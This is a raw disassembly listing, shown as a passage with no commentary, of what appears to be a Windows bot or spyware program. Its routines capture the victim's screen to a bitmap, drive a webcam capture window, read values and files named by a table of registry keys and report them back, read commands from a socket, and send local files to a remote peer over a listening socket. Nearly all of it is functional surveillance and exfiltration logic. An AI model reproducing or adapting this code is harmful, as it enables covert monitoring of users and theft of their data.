arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CDC50 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_415BE9
push 8
push edi
call dword_4CDC6C ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CDC6C ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CDC6C ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_415A17
push 18h
push edi
call dword_4CDC6C ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415A19
; ---------------------------------------------------------------------------
loc_415A17: ; CODE XREF: sub_4159B5+50j
xor ebx, ebx
loc_415A19: ; CODE XREF: sub_4159B5+60j
push edi
call dword_4CDCB0 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_415BCE
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CDCA8 ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_415BD9
push eax
push [ebp+var_4]
call dword_4CDB34 ; SelectObject
cmp eax, esi
jz loc_415BD9
cmp eax, 0FFFFFFFFh
jz loc_415BD9
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CDCAC ; BitBlt
test eax, eax
jz loc_415BD9
cmp ebx, esi
jz short loc_415AD6
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CDB88 ; GetDIBColorTable
mov ebx, eax
loc_415AD6: ; CODE XREF: sub_4159B5+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_415BB9
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call dword_4280E0 ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call dword_4280E0 ; WriteFile
cmp ebx, esi
jz short loc_415B9B
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call dword_4280E0 ; WriteFile
loc_415B9B: ; CODE XREF: sub_4159B5+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call dword_4280E0 ; WriteFile
push [ebp+arg_0]
call dword_42806C ; CloseHandle
xor esi, esi
inc esi
loc_415BB9: ; CODE XREF: sub_4159B5+1A2j
push [ebp+var_1C]
call dword_4CDBC0 ; DeleteObject
push [ebp+var_4]
call dword_4CDB20 ; DeleteDC
mov edi, [ebp+var_20]
loc_415BCE: ; CODE XREF: sub_4159B5+70j
push edi
call dword_4CDB20 ; DeleteDC
mov eax, esi
jmp short loc_415BEB
; ---------------------------------------------------------------------------
loc_415BD9: ; CODE XREF: sub_4159B5+C7j
; sub_4159B5+D9j ...
push edi
call dword_4CDB20 ; DeleteDC
push [ebp+var_4]
call dword_4CDB20 ; DeleteDC
loc_415BE9: ; CODE XREF: sub_4159B5+23j
xor eax, eax
loc_415BEB: ; CODE XREF: sub_4159B5+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4159B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BF0 proc near ; CODE XREF: sub_401B66+7317p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_4D5960
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CDBB4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415C2E
mov eax, esi
jmp loc_415DE4
; ---------------------------------------------------------------------------
loc_415C2E: ; CODE XREF: sub_415BF0+35j
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415C4B
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CDCC0 ; SendMessageA
jmp short loc_415C4D
; ---------------------------------------------------------------------------
loc_415C4B: ; CODE XREF: sub_415BF0+47j
xor eax, eax
loc_415C4D: ; CODE XREF: sub_415BF0+59j
cmp eax, ebx
jnz short loc_415C58
loc_415C51: ; CODE XREF: sub_415BF0+88j
; sub_415BF0+BCj
mov ebx, esi
jmp loc_415DD9
; ---------------------------------------------------------------------------
loc_415C58: ; CODE XREF: sub_415BF0+5Fj
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415C75
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CDCC0 ; SendMessageA
loc_415C75: ; CODE XREF: sub_415BF0+71j
cmp [ebp+var_20], ebx
jz short loc_415C51
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_415C9B
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_415C9E
; ---------------------------------------------------------------------------
loc_415C9B: ; CODE XREF: sub_415BF0+98j
mov [ebp+arg_4], ebx
loc_415C9E: ; CODE XREF: sub_415BF0+A9j
push [ebp+arg_4]
call sub_41BCA5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415C51
push [ebp+arg_4]
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_415CC5
xor ebx, ebx
inc ebx
jmp loc_415DD9
; ---------------------------------------------------------------------------
loc_415CC5: ; CODE XREF: sub_415BF0+CBj
push [ebp+var_4]
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415CE2
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415CE2: ; CODE XREF: sub_415BF0+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call near ptr sub_41CAE0
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415CFD
mov ecx, 280h
loc_415CFD: ; CODE XREF: sub_415BF0+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415D09
mov eax, 1E0h
loc_415D09: ; CODE XREF: sub_415BF0+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CDC04 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_415D53
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415D53: ; CODE XREF: sub_415BF0+153j
push [ebp+var_4]
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415D70
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415D70: ; CODE XREF: sub_415BF0+16Ej
push [ebp+var_4]
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415D8F
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415D8F: ; CODE XREF: sub_415BF0+18Bj
push [ebp+var_4]
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415DAC
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415DAC: ; CODE XREF: sub_415BF0+1AAj
push [ebp+var_8]
call sub_41B881
push esi
call sub_41B881
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415DD9
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CDCC0 ; SendMessageA
loc_415DD9: ; CODE XREF: sub_415BF0+63j
; sub_415BF0+D0j ...
push [ebp+var_4]
call dword_4CDD14 ; DestroyWindow
mov eax, ebx
loc_415DE4: ; CODE XREF: sub_415BF0+39j
pop edi
pop esi
pop ebx
leave
retn
sub_415BF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DE9 proc near ; CODE XREF: sub_401B66+73D3p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push dword_4D5960
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CDBB4
mov edi, eax
cmp edi, ebx
jnz short loc_415E27
mov eax, esi
jmp loc_416023
; ---------------------------------------------------------------------------
loc_415E27: ; CODE XREF: sub_415DE9+35j
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415E44
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CDCC0 ; SendMessageA
jmp short loc_415E46
; ---------------------------------------------------------------------------
loc_415E44: ; CODE XREF: sub_415DE9+47j
xor eax, eax
loc_415E46: ; CODE XREF: sub_415DE9+59j
cmp eax, ebx
jnz short loc_415E51
loc_415E4A: ; CODE XREF: sub_415DE9+8Bj
; sub_415DE9+BCj
mov ebx, esi
jmp loc_41601A
; ---------------------------------------------------------------------------
loc_415E51: ; CODE XREF: sub_415DE9+5Fj
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415E71
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CDCC0 ; SendMessageA
loc_415E71: ; CODE XREF: sub_415DE9+71j
cmp [ebp+var_7C], ebx
jz short loc_415E4A
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415E94
push ebx
push ebx
push 42Ch
push edi
call dword_4CDCC0 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_415E97
; ---------------------------------------------------------------------------
loc_415E94: ; CODE XREF: sub_415DE9+96j
mov [ebp+arg_4], ebx
loc_415E97: ; CODE XREF: sub_415DE9+A9j
push [ebp+arg_4]
call sub_41BCA5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415E4A
push [ebp+arg_4]
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_415EBE
xor ebx, ebx
inc ebx
jmp loc_41601A
; ---------------------------------------------------------------------------
loc_415EBE: ; CODE XREF: sub_415DE9+CBj
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415EDB
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CDCC0 ; SendMessageA
loc_415EDB: ; CODE XREF: sub_415DE9+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call near ptr sub_41CAE0
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415EF6
mov ecx, 0A0h
loc_415EF6: ; CODE XREF: sub_415DE9+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415F00
push 78h
pop eax
loc_415F00: ; CODE XREF: sub_415DE9+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415F45
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CDCC0 ; SendMessageA
loc_415F45: ; CODE XREF: sub_415DE9+14Aj
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415F62
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CDCC0 ; SendMessageA
loc_415F62: ; CODE XREF: sub_415DE9+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415FA0
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CDCC0 ; SendMessageA
loc_415FA0: ; CODE XREF: sub_415DE9+1A3j
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415FBB
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CDCC0 ; SendMessageA
loc_415FBB: ; CODE XREF: sub_415DE9+1C0j
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415FD4
push ebx
push ebx
push 43Eh
push edi
call dword_4CDCC0 ; SendMessageA
loc_415FD4: ; CODE XREF: sub_415DE9+1DBj
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_415FF1
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CDCC0 ; SendMessageA
loc_415FF1: ; CODE XREF: sub_415DE9+1F4j
push [ebp+var_4]
call sub_41B881
push esi
call sub_41B881
pop ecx
pop ecx
push edi
call dword_4CDC04 ; IsWindow
test eax, eax
jz short loc_41601A
push ebx
push ebx
push 40Bh
push edi
call dword_4CDCC0 ; SendMessageA
loc_41601A: ; CODE XREF: sub_415DE9+63j
; sub_415DE9+D0j ...
push edi
call dword_4CDD14 ; DestroyWindow
mov eax, ebx
loc_416023: ; CODE XREF: sub_415DE9+39j
pop edi
pop esi
pop ebx
leave
retn
sub_415DE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416028 proc near ; CODE XREF: sub_401B66+2558p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_438EA4, ebx
mov [ebp+var_C], 80h
jz loc_4161D4
push esi
push edi
mov eax, offset off_438EA4
mov esi, offset dword_438EB0
mov edi, offset dword_43A0BC
loc_416058: ; CODE XREF: sub_416028+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CDCD4 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CDB64 ; RegQueryValueExA
test eax, eax
jnz loc_4161BB
mov eax, [esi]
cmp eax, ebx
jz loc_41617F
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_42AB08
push eax
call sub_41C056
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41BC92
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_4161BB
push eax
jmp short loc_4160E8
; ---------------------------------------------------------------------------
loc_4160D3: ; CODE XREF: sub_416028+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_4160FC
push [ebp+var_8]
loc_4160E8: ; CODE XREF: sub_416028+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41C31F
add esp, 0Ch
test eax, eax
jnz short loc_4160D3
jmp short loc_416174
; ---------------------------------------------------------------------------
loc_4160FC: ; CODE XREF: sub_416028+BBj
push 3Dh
push dword ptr [esi+4]
call sub_41C780
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_41613B
push offset asc_43A0B8 ; "="
push eax
call sub_41C8C4
push offset asc_43A0B8 ; "="
push ebx
call sub_41C8C4
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41C056
add esp, 20h
jmp short loc_41614F
; ---------------------------------------------------------------------------
loc_41613B: ; CODE XREF: sub_416028+E5j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41C056
add esp, 10h
loc_41614F: ; CODE XREF: sub_416028+111j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_2F0]
push eax
call sub_4157A5
add esp, 18h
loc_416174: ; CODE XREF: sub_416028+D2j
push [ebp+var_8]
call sub_41B82B
pop ecx
jmp short loc_4161BB
; ---------------------------------------------------------------------------
loc_41617F: ; CODE XREF: sub_416028+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_2F0]
push eax
call sub_4157A5
add esp, 28h
loc_4161BB: ; CODE XREF: sub_416028+60j
; sub_416028+A2j ...
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_416058
pop edi
pop esi
loc_4161D4: ; CODE XREF: sub_416028+19j
pop ebx
leave
retn
sub_416028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161D7 proc near ; DATA XREF: sub_401B66+984o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_417C50
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_41626A
lea eax, [ebp+var_11B4]
push offset unk_43A138
push eax
call sub_41C056
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_41624D
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409982
add esp, 14h
loc_41624D: ; CODE XREF: sub_4161D7+59j
lea eax, [ebp+var_11B4]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_41626A: ; CODE XREF: sub_4161D7+3Fj
push offset byte_43FE14
push ebx
call sub_41A413
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4162D5
lea eax, [ebp+var_11B4]
push offset unk_43A108
push eax
call sub_41C056
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4162B1
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409982
add esp, 14h
loc_4162B1: ; CODE XREF: sub_4161D7+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_4157A5
pop ecx
push ebx
call dword_4CDCFC ; closesocket
push [ebp+var_10]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_4162D5: ; CODE XREF: sub_4161D7+A3j
push 64h
call dword_428064 ; Sleep
xor edi, edi
mov esi, 1000h
loc_4162E4: ; CODE XREF: sub_4161D7+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4CDC7C ; recv
test eax, eax
jle short loc_416341
lea eax, [ebp+var_11B4]
push offset asc_42B120 ; "\n"
push eax
call sub_41C690
lea eax, [ebp+var_11B4]
push eax
call sub_41A1FF
add esp, 0Ch
test eax, eax
jz short loc_416341
push 64h
call dword_428064 ; Sleep
push 0Ah
call sub_40B1CF
test eax, eax
pop ecx
jnz short loc_4162E4
loc_416341: ; CODE XREF: sub_4161D7+130j
; sub_4161D7+154j
lea eax, [ebp+var_11B4]
push offset unk_43A0D4
push eax
call sub_41C056
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_416374
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409982
add esp, 14h
loc_416374: ; CODE XREF: sub_4161D7+180j
lea eax, [ebp+var_11B4]
push eax
call sub_4157A5
pop ecx
push ebx
call dword_4CDCFC ; closesocket
push [ebp+var_10]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
sub_4161D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416398 proc near ; DATA XREF: sub_401B66+7705o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_4163E6
push offset unk_43A238
jmp loc_41659F
; ---------------------------------------------------------------------------
loc_4163E6: ; CODE XREF: sub_416398+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4CDC64 ; ntohs
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CDC90 ; bind
test eax, eax
jz short loc_416424
push offset unk_43A214
jmp loc_41659F
; ---------------------------------------------------------------------------
loc_416424: ; CODE XREF: sub_416398+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4CDC08 ; getsockname
push [ebp+var_2E]
call dword_4CDB94 ; ntohs
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B7B0
pop ecx
loc_416456: ; CODE XREF: sub_416398+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_416469
push 5Fh
pop eax
jmp short loc_41646C
; ---------------------------------------------------------------------------
loc_416469: ; CODE XREF: sub_416398+CAj
movsx eax, al
loc_41646C: ; CODE XREF: sub_416398+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B7B0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_416456
push ebx
push edi
call dword_4CDC8C ; listen
test eax, eax
jz short loc_41649F
push offset unk_43A138
jmp loc_41659F
; ---------------------------------------------------------------------------
loc_41649F: ; CODE XREF: sub_416398+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4164C9
push offset unk_43A1F4
jmp loc_41659F
; ---------------------------------------------------------------------------
loc_4164C9: ; CODE XREF: sub_416398+125j
push esi
push eax
call dword_42810C ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AB14
pop ecx
push eax
call dword_4CDCA4 ; inet_addr
push eax
call dword_4CDC60 ; ntohl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_43A1DC
push eax
call sub_41C056
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409982
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CDC4C ; select
test eax, eax
jg short loc_416579
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_43A1C4
push eax
push [ebp+var_1FC]
call sub_409982
jmp loc_41669D
; ---------------------------------------------------------------------------
loc_416579: ; CODE XREF: sub_416398+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CDCF8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4165B2
push offset unk_43A1A0
loc_41659F: ; CODE XREF: sub_416398+49j
; sub_416398+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41C056
pop ecx
pop ecx
jmp loc_4166A0
; ---------------------------------------------------------------------------
loc_4165B2: ; CODE XREF: sub_416398+200j
push edi
call dword_4CDCFC ; closesocket
cmp [ebp+arg_0], esi
jz loc_416664
mov edi, 400h
loc_4165C7: ; CODE XREF: sub_416398+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4165D4
mov [ebp+var_4], eax
loc_4165D4: ; CODE XREF: sub_416398+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41BD60
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_428120 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_4280E8 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CDCB4 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CDC7C ; recv
cmp eax, ebx
jl loc_4166F9
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_4166F9
sub [ebp+arg_0], eax
jnz loc_4165C7
mov edi, [ebp+var_18]
loc_416664: ; CODE XREF: sub_416398+224j
push [ebp+var_8]
call dword_42806C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416E8B
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_43A174
push eax
call sub_41C056
loc_41669D: ; CODE XREF: sub_416398+1DCj
add esp, 14h
loc_4166A0: ; CODE XREF: sub_416398+215j
